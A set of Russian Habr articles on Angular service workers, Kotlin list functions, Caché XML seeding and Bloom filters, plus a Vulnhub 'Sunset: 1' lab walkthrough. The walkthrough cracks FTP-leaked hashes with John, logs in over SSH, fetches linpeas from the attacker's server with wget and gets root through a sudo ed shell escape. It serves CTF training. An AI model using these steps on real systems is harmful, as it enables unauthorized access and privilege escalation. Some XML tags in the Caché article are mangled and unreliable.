В моем случае мне нужно было зарегистрировать кастомный прослушиватель событий уведомления о клике, который обрабатывал бы действие клика по push-уведомлению. Я должен признать, что Angular Service Worker отлично справляется с получением и отображением push-уведомлений — эта часть обрабатывается файлом ngsw-worker.js без каких-либо усилий со стороны разработчика. И сначала, казалось, что единственный способ предоставить нужную мне логику работы — это вносить изменения в код генерируемого файла ngsw-worker.js при сборке приложения. Но я понимал, что такой способ плох — его нужно поддерживать и проверять каждый раз, когда вы вносите какие-то изменения в файл конфигурации ngsw. К счастью, оказалось, что проблему легко решить, введя два дополнительных файла.
### Решение
Начнем с создания двух дополнительных js-файлов в папке */src*.
**sw-custom.js — файл, содержащий прослушиватель событий:**
```
(function () {
'use strict';
self.addEventListener('notificationclick', (event) => {
event.notification.close();
console.log('notification details: ', event.notification);
});
}());
```
**sw-master.js — файл, объединяющий NGSW с нашей собственной логикой:**
```
importScripts('./ngsw-worker.js');
importScripts('./sw-custom.js');
```
### Регистрация assets
Создав новые файлы скриптов, мы должны убедиться, что Angular учитывает их во время сборки. С технической точки зрения — это asset'ы, похожие на файл favicon.ico, создаваемый Angular CLI при создании проекта. Мы можем зарегистрировать наши дополнительные ресурсы в файле angular.json (.angular-cli.json для более старых версий Angular):
```
{
...,
"assets": [
"src/favicon.ico",
"src/assets",
"src/manifest.json",
"src/sw-master.js",
"src/sw-reminders.js"
],
...
}
```
### Перерегистрируем Service Worker скрипт
Последний шаг — это изменение точки входа в Service Worker, регистрируемого Angular во время запуска приложения. Для этого нам нужно изменить запись ServiceWorkerModule.register в app.module.ts следующим образом:
```
ServiceWorkerModule.register('/sw-master.js', { enabled: environment.production })
```
### Резюмируем
Вот и все, после production-сборки приложения наши новые файлы сценариев будут скопированы в папку */dist* и использованы приложением при регистрации ServiceWorker'а. Если вы хотите увидеть больше, вы также можете заглянуть в мой профиль GitHub, где я опубликовал [пример приложения Angular с ServiceWorker](https://github.com/jakubkaczmarek/reminders-demo/), дополненным кастомной логикой. | https://habr.com/ru/post/435718/ | null | ru | null |
# Списки в Kotlin. Haskell подход
Haskell является полностью функциональным и чрезвычайно лаконичным языком. Любой, кто когда-нибудь пробовал писать код на Haskell, замечает, насколько он получается более кратким и изящным, чем написать то же самое на императивном языке. Добиться такого же на Java, на мой взгляд, невозможно, но Kotlin позволяет продвинуться в этом направлении и примерить на себе полностью функциональный стиль. Мы можем вывести все сложные функции, которые нам могут понадобится из стартового базиса 3-х наиболее известных функций: map, filter, reduce. Кроме этого я создал [репозиторий](https://github.com/Nublo/KotlinByHaskell), который вы можете изучить и посмотреть тесты.
Перед тем, как начать, я хотел бы обратить внимание, что именно таким образом реализовывать функциональный подход не стоит, потому что код будет критически медленным и использоваться в production приложениях не должен. Несомненно, есть варианты, как его можно улучшить, однако целью статьи является не раскрытие этих вариантов, а рассмотрение альтернативного подхода к написанию кода. В любом случае, понимание этого подхода поможет вам в работе с рекурсивными структурами данных, и, возможно, вы оцените красоту и элегантность того, как код читается и насколько он проще для понимания.
### Базовые функции
Очень важную роль в языке играют списки, и для них реализовано много полезных функций. Рассмотрим некоторые из них и то, как их можно реализовать на Kotlin.
```
head (x:_) = x
head [] = badHead
```
Если в списке есть элементы, мы вернём первый, в противном случае вернём ошибку.
Писать такой код возможности у нас нету, но, в целом, если присмотреться, это очень похоже на when шаблон. Также воспользуемся extension функцией, чтобы позже иметь возможность использовать этот метод на списках и иметь чуть более лаконичный способ получения значения, без скобок в конце, как у вызова метода.
```
val List.head: T
get() = when (this.isEmpty()) {
true -> throw NoSuchElementException("List is empty.")
false -> this[0]
}
```
Для того, чтобы удобно использовать рекурсию, нам бы хотелось также разделять список на первый элемент + все остальные. Попробуем для этого реализовать функцию tail.
Вот как она выглядит на haskell:
```
tail (_:xs) = xs
tail [] = errorEmptyList "tail"
```
К сожалению, Kotlin не предоставляет такой уровень pattern matching, чтобы разработчики могли описать в таком же стиле, поэтому тут нам придётся написать немного когда.
```
val List.tail: List
get() = drop(1)
```
Немного нечестно использовать функцию из библиотеки языка, но, с другой стороны, нам в любом случае пришлось бы писать код для этого метода, поэтому будет лучше использовать уже точно работающие методы.
Теперь мы умеем делить список на первый элемент + оставшуюся часть списка. Также нам понадобится функция конкатенации списка и одного элемента, которая будет позже активно использоваться для преобразования и других операций над списком.
```
operator fun List.plus(x: T): List = ArrayList(this).also { it.add(x) }
```
Теперь мы умеем прибавлять к элементу в конец список, и наша реализация функции map становится рабочей и готовой к использованию. К сожалению, снова нет возможности добавить к списку объект каким-либо более удобным способом, поэтому используем метод **add**.
У нас на данный момент есть почти, всё что нам нужно. Единственное, что нам теперь нужно — это иметь возможность описания граничного условия выхода из рекурсии. Для этого будем стандартный метод **isEmpty()**. Остановимся и посмотрим, что у нас есть на данный момент:
* isEmpty() — есть ли в списке элементы
* head — первый элемент списка
* tail — список без первого элемента
* list + element — можем конкатенировать список с объектом
На самом деле, это всё, что нам нужно, чтобы вывести все необходимые нам методы.
На мой вкус, было бы удобнее в **when** операторах использовать сравнение длины списка. Kotlin уже предоставляет нам **size** для того, чтобы получать эту длину списка. Однако, допустим, что мы хотим реализовать её самостоятельно. С нашим функционалом это будет совсем просто:
```
val List.size: Int
get() = when (this.isEmpty()) {
true -> 0
false -> 1 + this.tail.size
}
```
### Применение базовых функций
Рассмотрим самый распространённый пример. Допустим, у нас есть список целых чисел, и мы хотим просуммировать их, забыв о существовании циклов. Всё, что у нас есть — это методы, которые мы вывели выше, и рекурсия. Для этого воспользуемся таким же подходом, как и при вычислении размера списка:
```
fun sum(xs: List): Int = when (xs.size) {
0 -> 0
else -> xs.head + sum(xs.tail)
}
```
Идея очень простая: если в списке нету элементов, то сумма равна 0; в противном случае, это сумма первого элемента и рекурсивный вызов суммы для хвоста.
Несмотря на то, что мы не заботимся в этом коде о скорости выполнения и оптимизациях, нельзя не вспомнить про возможности языка по использованию хвостовой рекурсии. Хвостовая рекурсия — частный случай рекурсии, при которой рекурсивный вызов является последней операцией перед возвратом из функции. Подобный вид рекурсии примечателен тем, что гарантированно позволяет перестроить код на итерацию. Как вам известно, основная проблема рекурсии в том, что на протяжении выполнения функции необходимо хранить стек вызовов, чтобы при достижении граничного условия можно было вернуться назад и пересчитать итоговый результат.
Может показаться, что функция суммы, которую мы описали, является как раз такой, ведь последний вызов — это **sum(xs.tail)**. Однако, это не верно. Если описать код немного по-другому, то это станет очевидно:
```
fun sum(xs: List): Int = when (xs.size) {
0 -> 0
else -> {
val head = xs.head
val tailSum = sum(xs.tail)
head + tailSum
}
}
```
Теперь видно, что фактически последним вызовом является сумма первого элемента и оставшейся части хвоста.
Хорошая новость в том, что, если добавить модификатор **tailrec** к функции, IDE подскажет, что функция не является таковой. Однако исправить это довольно несложно. Распространённым приёмом, с помощью которого исправляют функцию, является использование вспомогательной переменной для хранения результатов. Выглядит это следующим образом:
```
tailrec fun sum(xs: List, acum: Int): Int = when (xs.size) {
0 -> acum
else -> sum(xs.tail, xs.head + acum)
}
```
Для того, чтобы вычислить сумму элементов, достаточно в качестве 2-го параметра передать 0. И, чтобы сделать это совсем идиоматическим, ещё немного переделаем функцию, спрятав основные вычисления во внутреннюю функцию без того, чтобы внешний мир имел доступ к параметру, который ему не нужен.
```
fun sum(xs: List):Int {
tailrec fun sumInner(xs: List, acum: Int): Int = when (xs.size) {
0 -> acum
else -> sumInner(xs.tail, xs.head + acum)
}
return sumInner(xs, 0)
}
```
Имея эти знания, можно заметить, что функция size, которую мы реализовали выше, не удовлетворяет необходимым условиям для хвостовой рекурсии.
Теперь мы готовы реализовывать map, filter, reduce c помощью Kotlin. Позже мы увидим, что достаточно было реализовать лишь только последнюю, а остальные, вообще говоря, являются производными от неё. Но обо всём по порядку.
### Основные функции
#### MAP
Итеративная реализация данной функции предполагает последовательное движение по списку, применяя функцию преобразования и добавляя все полученные элементы в новую коллекцию. Мы будем использовать рекурсивные вызовы, где граничным условием является пустой список. Тогда реализация будет выглядеть следующим образом:
```
fun List.map(f: (T) -> R): List = when (this.size) {
0 -> listOf()
else -> f(head) + tail.map(f)
}
```
Если в исходном списке нету элементов, то возвращаем пустой список, иначе — применяем трансформацию к первому элементу и добавляем в конец рекурсивный вызов для оставшейся части списка.
Однако у нас ещё нету функции для конкатенации элемента и списка. Но мы уже можем её реализовать. Для начала, выведем более общий случай по конкатенации пары списков и после этого воспользуемся им для добавления к элементу другого списка.
```
operator fun List.plus(xs: List): List = when (xs.size) {
0 -> ArrayList(this)
else -> (this + xs.head) + xs.tail
}
operator fun T.plus(xs: List): List = listOf(this) + xs
```
#### FILTER
Реализация будет очень похожа на map. Только единственное отличие в том, что следует понять, нужно ли добавлять текущий элемент к результату. Для этого мы будет вызывать лямбду, которую получили в качестве параметра. Реализация будет выглядеть следующим образом:
```
fun List.filter(f: (T) -> Boolean): List = when (this.size) {
0 -> listOf()
else -> if (f(head)) head + tail.filter(f) else tail.filter(f)
}
```
Если текущий элемент удовлетворяет условию фильтра — добавляем его рекурсивно к хвосту списка, иначе — продолжаем работу только с хвостом списка.
#### REDUCE
Самая сложная для понимания и, в то же время, самая мощная функция (в функциональном мире известна как **fold**). Чаще всего она используется для того, чтобы свернуть список к одному элементу. У вас есть некое стартовое значение **s0**, а также есть список элементов **a[]** и функция **f**, которая для стартового значения и следующего элемента списка возвращает новый. **f(s0, a[0]) = s1**. И, таким образом, мы последовательно проходим по всему списку элементов, на выходе получая некое единое значение. Довольно распространённый пример — суммирование элементов массива. В таком случае стартовым значением является 0, а функция возвращает сумму двух элементов: **f(s, a[i]) = s + a[i]**. Рассмотрим, как мы можем рекурсивно реализовать эту функцию.
```
fun reduce(s: T, xs: List, f: (T, R) -> T): T = when (xs.size) {
0 -> s
else -> reduce(f(s, xs.head), xs.tail, f)
}
```
В принципе, реализация абсолютно такая же, как мы рассмотрели выше. Если в списке нету элементов, возвращаем текущее значение, иначе — вычисляем новый первый элемент, и для него и хвоста списка снова вызываем функцию reduce.
Заметим, что мы также можем создавать модификации этой функции. Например, не передавать стартовое значение, а использовать для этого первый элемент списка. Чтобы понять, что на этом возможности reduce не заканчиваются, представим, что мы в качестве стартового значения используем другой список. В этом случае, мы каждый раз на итерации будем хранить не одно значение, а список, благодаря чему наши возможности сильно возрастают. Например, попробуем применить функцию reducе таким образом, чтобы на выходе получить исходный список:
```
fun reduceSame(xs: List) = reduce(listOf(), xs) { ys, s -> ys + s }
```
Теперь, думаю, вы догадываетесь, что мы могли использовать reduce, для альтернативной реализации map, filter. Так как мы научились возвращать с помощью reduce точно такой же список, нужно внести совсем немного изменений, чтобы получить возможность преобразовывать каждый элемент. Для filter всё очень похоже.
```
fun List.map2(f: (T) -> R): List = reduce(mutableListOf(), this)
{ xs, s -> (xs + f(s)).toMutableList() }
fun List.filter2(f: (T) -> Boolean): List = reduce(mutableListOf(), this)
{ ys, s ->
if (f(s))
return@reduce (ys + s).toMutableList()
else
ys
}
```
Кроме этого, часто забывают о том, что мы можем также применять reduce не с начала списка, а с конца. Несомненно, мы можем просто развернуть список, и уже после этого применить reduce, но это не интересно. Попробуем написать и понять, как работает reduce для свёртывания списка в обратном порядке.
```
fun reduceRight(s: T, xs: List, f: (T, R) -> T): T = when (xs.size) {
0 -> s
else -> f(reduceRight(s, xs.tail, f), xs.head)
}
```
Если список не пустой, то мы применим функцию f к результату свёртывания хвоста списка и головы списка. Таким образом, последним будет обработан первый элемент; предпоследним — 2-й и тд. Для этого варианта тоже можно дописать модификации, которые в качестве стартового значения будут использовать последний элемент списка и т.д.
Почти всегда, работая со списками, можно использовать некую комбинацию этих 3-х функций, чтобы получить интересующий результат.
Давайте ещё реализуем функцию **zip**, которая позволит нам комбинировать 2 списка.
На вход получаем 2 списка. И мы хотим вернуть список пар, длина которого равняется минимальной из исходных списков.
Как обычно, нужно подумать о выходе из рекурсии и написать функцию.
```
fun zip(xs: List, ys: List): List> {
return when (xs.isEmpty() || ys.isEmpty()) {
true -> listOf()
false -> Pair(xs.head, ys.head) + zip(xs.tail, ys.tail)
}
}
```
Вы можете добавить свои модификации, которые позволят вам, вместо того чтобы возвращать пару элементов, применить некую функцию к двум элементам. В Haskell такая функция имеет название **zipWith**. И реализуется она с тем функционалом, который мы успели написать очень просто:
```
fun zipWith(xs: List, ys: List, f: (T, R) -> C): List =
zip(xs, ys).map { f(it.first, it.second) }
```
Очень часто при использовании функционального подхода возникают проблемы, когда нужно производить манипуляции, основываясь не на объектах в списках, а на основании индексов. Например, нам нужно просуммировать все чётные элементы списка. Можно попробовать добиться этого с помощью reduce, поддерживая в качестве текущего значения Pair и добавляя значение в том случае, если flag == true, и каждый раз для следующего шага брать отрицание flag. Однако это выглядит как-то не слишком красиво, и читающему код придётся разбираться в том, что же вы хотели этим кодом выразить. В Kotlin есть бесконечные последовательности, и они замечательно подойдут для решения этой задачи. Если проанализировать то, что мы хотим сделать получится, что мы хотим отфильтровать все элементы с нечётными индексами, а оставшиеся — просуммировать. А для того, чтобы иметь возможность получения индексов, достаточно вызвать **zip** для списка и **sequence** [0,1,2..]
```
fun sumWithEvenIndexes(xs: List) =
zip(xs, generateSequence(0) { it + 1 }.take(xs.size).toList())
.filter { it.second % 2 == 0 }
.map { it.first }
.sum()
```
В стандартной библиотеке Kotlin вы можете найти функцию zip для пары sequence.
А теперь давайте рассмотрим простую задачку, которая вдохновила меня на написание этого гайда, и то, как её реализация выглядит на императивном языке на Kotlin и в самом конце на Haskell.
Необходимо вычислить максимальную сумму среди пар рядом стоящих чисел в массиве целых чисел. Длина массива больше 1, и можно не заботится о переполнении при суммировании элементов.
Императивный подход на Java:
```
public Integer maxSum(List array) {
Integer max = array.get(0) + array.get(1);
for (int i = 2; i < array.size(); i++)
if (array.get(i) + array.get(i-1) > max)
max = array.get(i) + array.get(i-1);
return max;
}
```
Функциональный подход на Kotlin с использованием написанных функций (функцию max предлагаю в качестве тренировки реализовать самостоятельно):
```
fun maxSum(xs: List) = zipWith(xs, xs.tail, {a, b -> a + b}).max()
```
Реализация на Haskell:
```
maxSum xs = maximum $ zipWith (+) xs (tail xs)
```
Как мы видим, то, что мы реализовали на Kotlin (между прочим, мы могли использовать reduce для решения этой задачи), очень похоже на то, что можно написать на Haskell.
### Заключение
Несомненно, это не стоит использовать в разработке, потому что всё было реализовано неоптимально лишь для того, чтобы продемонстрировать функциональный подход. Также почти всё, что было написано, есть в стандартной библиотеке Kotlin, поэтому, возможно, в будущем, вместо того, чтобы написать очередной цикл for, вы воспользуетесь функциональным стилем, который предоставляет нам Kotlin.
Наверное, самым сложным в функциональном стиле является то, что задачу можно решать разными способами. Самые очевидные могут быть громоздкими и сложными для понимания в будущем, а для написания самых понятных может потребоваться время и серьезные мыслительные усилия. Единственное, что может помочь в освоении — это постоянная практика и тренировки.
P.S.: Как было указано выше, вы можете посмотреть [репозиторий](https://github.com/Nublo/KotlinByHaskell) со всеми примерами, которые есть в статье. Запустите тесты и посмотрите как это работает!
P.P.S: Вы также можете посмотреть альтернативный подход, который реализует похожую [функциональность](https://www.javacodegeeks.com/2017/10/kata-implementing-functional-list-data-structure-kotlin.html).
А обязательно посмотреть позже <https://arrow-kt.io/>. На мой взгляд, сразу смотреть туда не стоит, потому что выглядит всё довольно страшно, но позже, когда вас не будут пугать функторы и монады, обязательно изучите. | https://habr.com/ru/post/425527/ | null | ru | null |
# XML-сериализация для развёртывания начальных данных в Caché. Часть I
Думаю, не преувеличением будет сказать, что почти каждый разработчик информационной системы сталкивается с задачей формирования начальных данных при внедрении.
У Caché-разработчиков есть несколько стандартных подходов к инициализации начальных данных:
* загрузка данных для классов-справочников из внешних файлов,
* получение данных из онлайн-сервисов,
* импорт статических данных из файлов-глобалов,
* выполнение методов класса, создающих начальные данные из “зашитых” в код данных.
Для инициализации статических данных, небольших справочников или каких-либо конфигурационных данных системы, есть еще один способ, о котором пойдет речь в статье.
В Caché есть возможность включать в код класса блоки XML данных — XDATA блоки. Обычно эти данные используются для хранения вместе с классом данных о формах [Zen-страниц](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GZEN_development_environment#GZEN_creating_a_page_2) и [Zen-отчетов](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GRPT_report_definition#GRPT_xdata_reportdefinition_intro). В этих блоках можно также прекрасно хранить начальные данные для персистентных классов.
##### Десериализация из XData
Рассмотрим пример простого хранимого класса с одним свойством. Это будет класс регионов с названиями — типичный пример справочника.
Код этого класса в Caché выглядит следующим образом:
Class map.Region Extends %Persistent
{
/// Название
Property Name As %String;
}
Добавим в класс начальные данные в XML-виде в блок XData:
XData populate
{
<xml>
<item>
<Name>Красноярский крайName>
item>
<item>
<Name>Свердловская областьName>
item>
<item>
<Name>Хабаровский крайName>
item>
xml>
}
Для того, чтобы загрузить эти данные из класса, добавляем метод класса Populate. Кроме того, для работы с XML-данными необходимо класс сделать [XML-enabled](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GXMLPROJ_basics#GXMLPROJ_basics_how_to) — добавляем в список наследования также класс %XML.Adaptor. В итоге преобразованный код класса выглядит следующим образом:
Class map.Region Extends (%Persistent, %XML.Adaptor)
{
/// Название
Property Name As %String;
ClassMethod Populate() As %Status
{
#dim sc As %Status = $$$OK
// очистка существующих данных класса
s sc=..%DeleteExtent()
if $$$ISERR(sc) quit sc
// загрузка xml-данных блока XData из библиотеки скомпилированных классов
#dim stream As %Stream.Object = ##class(%Dictionary.CompiledXData).%OpenId(..%ClassName(1) \_ "||" \_ "populate").Data
// создание инстанса XML ридера
#dim reader As %XML.Reader = ##class(%XML.Reader).%New()
// открытие в ридере поток xml
set sc = reader.OpenStream(stream, "literal")
if $$$ISERR(sc) quit sc
// указание ридеру в каком элементе искать данные класса
do reader.Correlate("item", ..%ClassName(1))
#dim obj as %Persistent
// загрука в цикле элементов класса
while reader.Next(.obj, .sc)
{
if $$$ISERR(sc) quit
// сохранение прочитанного из xml инстанс в базу данных
set sc = obj.%Save()
if $$$ISERR(sc) quit
set obj = ""
}
quit sc
}
XData populate
{
<xml>
<item>
<Name>Красноярский крайName>
item>
<item>
<Name>Свердловская областьName>
item>
<item>
<Name>Хабаровский крайName>
item>
xml>
}
}
Как видно из кода, всю работу выполняет класс %XML.Reader, который позволяет вычитывать “объектные” данные из XML.
Для загрузки данных в класс при деплойменте достаточно выполнить метод класса Populate:
w ##class(map.Region).Populate()
Убедимся, что инстансы класса действительно созданы. Выполним запрос в SQL-шелле терминала:
```
XMLDEPLOY>d $System.SQL.Shell()
SQL Command Line Shell
----------------------------------------------------
The command prefix is currently set to: <>.
Enter q to quit, ? for help.
XMLDEPLOY>>select \* from map.Region
1. select \* from map.Region
ID Name
1 Красноярский край
2 Свердловская область
3 Хабаровский край
3 Rows(s) Affected
statement prepare time: 0.9125s, elapsed execute time: 0.0687s.
---------------------------------------------------------------------------
XMLDEPLOY>>quit
XMLDEPLOY>
```
##### Заполнение XData
Очевидно, что блок XData можно заполнить “вручную”. И это удобно, если объектов в классе мало. Но если их много, это может сделать программа.
Воспользуемся классом %XML.Writer, который позволяет сериализовать в XML инстансы класса.
Для этого добавляем в класс метод сериализации:
ClassMethod SerializeToFile(file as %String) as %Status
{
#dim sc as %Status
#dim wr as %XML.Writer
set wr=##class(%XML.Writer).%New()
// установка файла, как устройство вывода
set sc=wr.OutputToFile(file) if $$$ISERR(sc) quit sc
// открытие корневого тега
set sc=wr.RootElement("xml") if $$$ISERR(sc) quit sc
#dim rset as %ResultSet
// выполнение запроса Extent, содержащего все объекты класса
set rset = ##class(%ResultSet).%New("map.Region:Extent")
do rset.Execute()
#dim obj
while (rset.Next()) {
set obj=##class(map.Region).%OpenId(rset.Data("ID"))
// сериализация объекта
set sc=wr.Object(obj)
if $$$ISERR(sc) quit
}
if $$$ISERR(sc) quit sc
// закрытие корневого тега
set sc=wr.EndRootElement()
quit sc
}
Метод выводит в файл все объекты класса, сериализованные в XML.
Выполним метод в терминале:
```
XMLDEPLOY>D $System.OBJ.DisplayError(##class(map.Region).SerializeToFile("C:\cache\region.xml"))
XMLDEPLOY>
```
А затем откроем файл любым редактором/вьювером:
Полученный XML уже нетрудно вставить в блок XData.
##### Итого
Аналогичным образом можно снабдить подобными методами все классы, требующие ввод начальных данных при деплойменте. В итоге, с помощью приведенной техники начальные данные хранятся вместе с классом, для которого они нужны, в технологичном XML-формате. Клиенту можно поставлять только код классов, а генерацию начальных данных выполнять с помощью метода Populate. А что делать, если классы связаны друг с другом? Этот и другие сценарии рассмотрим во второй части статьи. Продолжение следует… | https://habr.com/ru/post/148287/ | null | ru | null |
# Vulnhub. Прохождение Sunset: 1
HackTheBox — популярная площадка среди специалистов информационной безопасности, проводящих тестирование на проникновение. Однако существуют не менее интересные CTF площадки для проверки и тренировки своих навыков, которые подойдут как начинающим, так и опытным пентестерам.
Одной из таких площадок как раз является [Vulnhub](https://www.vulnhub.com/). Правда, на этом ресурсе выкладывают только виртуальные машины, и там можно найти целые серии виртуальных машин. Сегодня мы поговорим о серии Sunset и рассмотрим первую ВМ (sunset: 1).
### Сканирование
Начинаем с определения ее IP адреса. Это можно сделать при помощи команды:
```
netdiscover
```
Адресом нашей цели будет 192.168.1.153. Мы узнали адрес, теперь можно запустить nmap. Для сканирования nmap'ом я использую следующую команду:
```
nmap -sC -sV -oN sunset-1 192.168.1.153
```
Где ***sC*** отвечает за сканирование с использованием скриптов, ***sV*** – за определение служб и их версий, и ***oN*** — за вывод в файл (чтобы потом не пришлось сканировать заново, если чего вдруг случится).
### Поиск точки входа
Мы видим, что на целевом хосте открыто 2 порта: ***21 (FTP)*** и ***22 (SSH)***. Также у нас есть возможность авторизоваться как анонимный пользователь.
Подключаемся к ftp:
```
ftp 192.168.1.153
```
При этом используем логин: anonymous и пароль: anonymous. Командой ***ls*** проверяем содержимое папки, видимо кроме файла ***backup*** здесь ничего нет. Доступ к backup'у у нас есть, так что стоит в нем покопаться. Скачиваем этот файл командой ***get***.
В backup'е мы находим логины и хешированные пароли (в духе CTF).
Вариантов у нас не особо много, видимо стоит попробовать их «крякнуть». Крякать пароли мы будем с помощью нашего друга John'а (John the Ripper или просто John) по словарю rockyou.txt. Для этого я использую следующую команду:
```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
И да, найденные хеши я сохранил в отдельном файле ***hashes***. В результате работы Jhon'а, мы получаем пароль ***cheer14*** для пользователя ***sunset***. Результаты работы Джона можно также посмотреть командой ***show*** к файлу с хешами.
### Получаем доступ пользователя
Теперь у нас есть пароль пользователя, и нам нужно его использовать. На машине был открыт SSH, так давайте попробуем к нему подключиться с имеющимися учетными данными.
```
ssh sunset@192.168.1.153
```
И вот мы внутри. Осматриваемся с помощью команды ***ls -la*** и видим, что мы в домашней директории пользователя и тут же лежит флаг ***user.txt***.
### Повышение привилегий
Теперь нужно получить права суперпользователя. Для этого мы можем использовать linpeas.sh (скрипт для поиска ошибок в конфигурации, логинов и паролей в открытом виде и т.д.), который предлагает возможные векторы атаки для повышения привилегий. Скачать этот скрипт можно на [гитхабе](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
Для того, чтобы скачать его на целевую машину нужно поднять сервер. Делаем это с помощью питона:
```
python3 -m http.server 80
```
На целевой машине прописываем
```
wget http://192.168.1.68/linpeas.sh
```
Скрипт успешно скачан. Теперь нужно сделать файл исполняемым, и можно запускать.
```
chmod +x linpeas.sh
sh linpeas.sh
```
После выполнения скрипт подсветит красным текстом с желтым фоном возможные векторы атаки
Скрипт нам говорит, что мы можем использовать ***ed*** справами root'а без использования пароля. Но даже без помощи скрипта мы можем проверить доступные к выполнению команды от имени root, просто написав в консоли
```
sudo -l
```
Нам доступен текстовый редактор от имени суперпользователя.
Идем на [GTFObins](https://gtfobins.github.io/), ищем там наш текстовый редактор и выбираем команду для получения шелла.
```
!/bin/sh
```
И теперь мы получили права root.
Переходим в домашнюю директорию root'а и забираем второй флаг.
Вот такую, достаточно простую коробочку мы сегодня открыли. Она как раз подходит для начинающих, но спроектирована больше для CTF. На практике такое редко встречается, если вообще встречается.
Другие части прохождения машин Sunset:
[Sunset: dawn](https://habr.com/ru/company/pm/blog/530646/)
[Sunset: nightfall](https://habr.com/ru/company/pm/blog/533010/) | https://habr.com/ru/post/529718/ | null | ru | null |
# Когда фильтр Блума не подходит
Я ещё с университета знал о [фильтре Блума](https://en.wikipedia.org/wiki/Bloom_filter) — вероятностной структуре данных, названной в честь Бёртона Блума. Но у меня не было возможности её использовать. В прошлом месяце такая возможность появилась — и эта структура буквально очаровала меня. Впрочем, вскоре я нашёл у неё некоторые недостатки. В этой статье — рассказ о моей краткой любовной связи с фильтром Блума.
В процессе исследований [IP-спуфинга](https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-spoofing/) нужно было проверять IP-адреса в поступающих пакетах, сравнивая их с географическим расположением наших центров обработки данных. Например, пакеты из Италии не должны поступать в бразильский ЦОД. Эта проблема может показаться простой, но в постоянно меняющемся ландшафте интернета это далеко не просто. Достаточно сказать, что в итоге у меня накопилось много больших текстовых файлов примерно такого содержания:
Это значит, что в дата-центре Cloudflare номер 107 зафиксирован запрос с разрешённого IP-адреса 192.0.2.1. Эти данные поступали из многих источников, включая наши активные и пассивные пробы, логи некоторых доменов, которыми мы владеем (например, `cloudflare.com`), открытые источники (например, таблицы BGP) и т. д. Одна и та же строка обычно повторяется в нескольких файлах.
В итоге я получил гигантский набор данных такого рода. В какой-то момент во всех собранных источниках я насчитал 1 миллиард строк. Обычно я пишу bash-скрипты для предварительной обработки входных данных, но в таком масштабе этот подход не работал. Например, удаление дубликатов из этого крошечного файла на 600 МиБ и 40 млн строк занимает… вечность:
Достаточно сказать, что дедупликация строк обычными командами типа `sort` в различных конфигурациях (см. `--parallel`, `--buffer-size` и `--unique`) оказалась не самой оптимальной для такого большого набора данных.
Фильтры Блума
=============
*[Иллюстрация](https://en.wikipedia.org/wiki/Bloom_filter#/media/File:Bloom_filter.svg) [Дэвида Эпштейна](https://commons.wikimedia.org/wiki/User:David_Eppstein) в общественном достоянии*
Потом меня осенило: не надо сортировать строки! Нужно удалить дубликаты, поэтому гораздо быстрее сработает какая-то структура данных типа 'set' (множество). Кроме того, я примерно знаю объём входного файла (количество уникальных строк), а потеря некоторых данных не критична, то есть вполне подходит вероятностная структура данных.
Это идеальный вариант для фильтров Блума!
Пока вы читаете [Википедию о фильтрах Блума](https://en.wikipedia.org/wiki/Bloom_filter#Algorithm_description), вот как я смотрю на эту структуру данных.
Как бы вы реализовали [«множество»](https://en.wikipedia.org/wiki/Set_(abstract_data_type))? Учитывая идеальную хэш-функцию и бесконечную память, мы можем просто создать бесконечный битовый массив и для каждого элемента установить битовый номер `hash(item)`. Это даёт идеальную структуру данных для «множества». Так ведь? Тривиально. К сожалению, у хэш-функций случаются коллизии, а бесконечной памяти не существует, поэтому в нашей реальности придётся пойти на компромисс. Но мы можем рассчитать вероятность коллизий и управлять этим значением. Например, у нас хорошая хэш-функция и 128 ГБ памяти. Мы можем вычислить, что вероятность коллизии для каждого нового элемента составляет 1 к 1099511627776. При добавлении большего количества элементов вероятность растёт по мере заполнения битового массива.
Кроме того, мы можем применить более одной хэш-функции и получить более плотный битовый массив. Именно здесь хорошо подходит фильтр Блума, который представляет собой набор математических данных с четырьмя переменными:
* `n` — число вставленных элементов (кардинальное число)
* `m` — память, используемая битовым массивом
* `k` — количество хэш-функций, подсчитанных для каждого входа
* `p` — вероятность ложноположительного совпадения
Учитывая кардинальное число `n` и желаемую вероятность ложноположительного срабатывания `p`, фильтр Блума возвращает требуемую память `m` и необходимое количество хэш-функций `k`.
Посмотрите эту [превосходную визуализацию](https://hur.st/bloomfilter/) Томаса Хёрста, как параметры влияют друг на друга.
mmuniq-bloom
============
Руководствуясь интуицией, я добавил в свой арсенал вероятностный инструмент mmuniq-bloom, который берёт ввод STDIN и возвращает только уникальные строки в STDOUT. Он должен быть гораздо быстрее, чем комбинация `sort`+`uniq`!
Вот он:
* [mmuniq-bloom.c](https://github.com/cloudflare/cloudflare-blog/blob/master/2020-02-mmuniq/mmuniq-bloom.c)
Для простоты и для скорости я изначально установил несколько параметров. Во-первых, если не указано иное, mmuniq-bloom использует восемь хэш-функций k=8. Кажется, это близко к оптимальному числу для нашего размера данных, и хэш-функция может быстро выдать восемь приличных хэшей. Затем выравниваем память `m` в битовом массиве на степень двух, чтобы избежать дорогостоящей операции `%modulo`, которая в ассемблере сводится к медленному `div`. Если массив равен степени двойки, мы можем просто использовать побитовое И (для удовольствия почитайте, [как компиляторы оптимизируют некоторые операции деления, умножая на магическую константу](https://stackoverflow.com/questions/41183935/why-does-gcc-use-multiplication-by-a-strange-number-in-implementing-integer-divi)).
Теперь можем запустить его на том же файле данных, который использовали раньше:
О, это намного лучше! 12 секунд вместо двух минут. Программа использует оптимизированную структуру данных, относительно ограниченный объём памяти, оптимизированный разбор строк и хорошую буферизацию выходных данных… и при всём этом 12 секунд кажутся вечностью по сравнению с инструментом `wc -l`:
Что происходит? Я понимаю, что подсчёт строк в `wc` проще, чем вычисление уникальных строк, но действительно ли оправдана разница в 26 раз? На что уходит CPU в `mmuniq-bloom`?
Должно быть, на вычисление хэшей. Утилита `wc` не тратит процессор, выполняя всю эту странную математику для каждой из 40 млн строк. Я использую довольно нетривиальную хэш-функцию `siphash24`, наверняка это она сжигает процессор, верно? Давайте проверим, запустив только хэш-функцию, но *не* выполняя никаких операций с фильтром Блума:
Это странно. Вычисление хэш-функции занимает всего около двух секунд, хотя вся программа в предыдущем запуске выполнялась 12 секунд. Неужели один фильтр Блума работает 10 секунд? Как такое возможно? Это же такая простая структура данных…
Секретное оружие — профайлер
============================
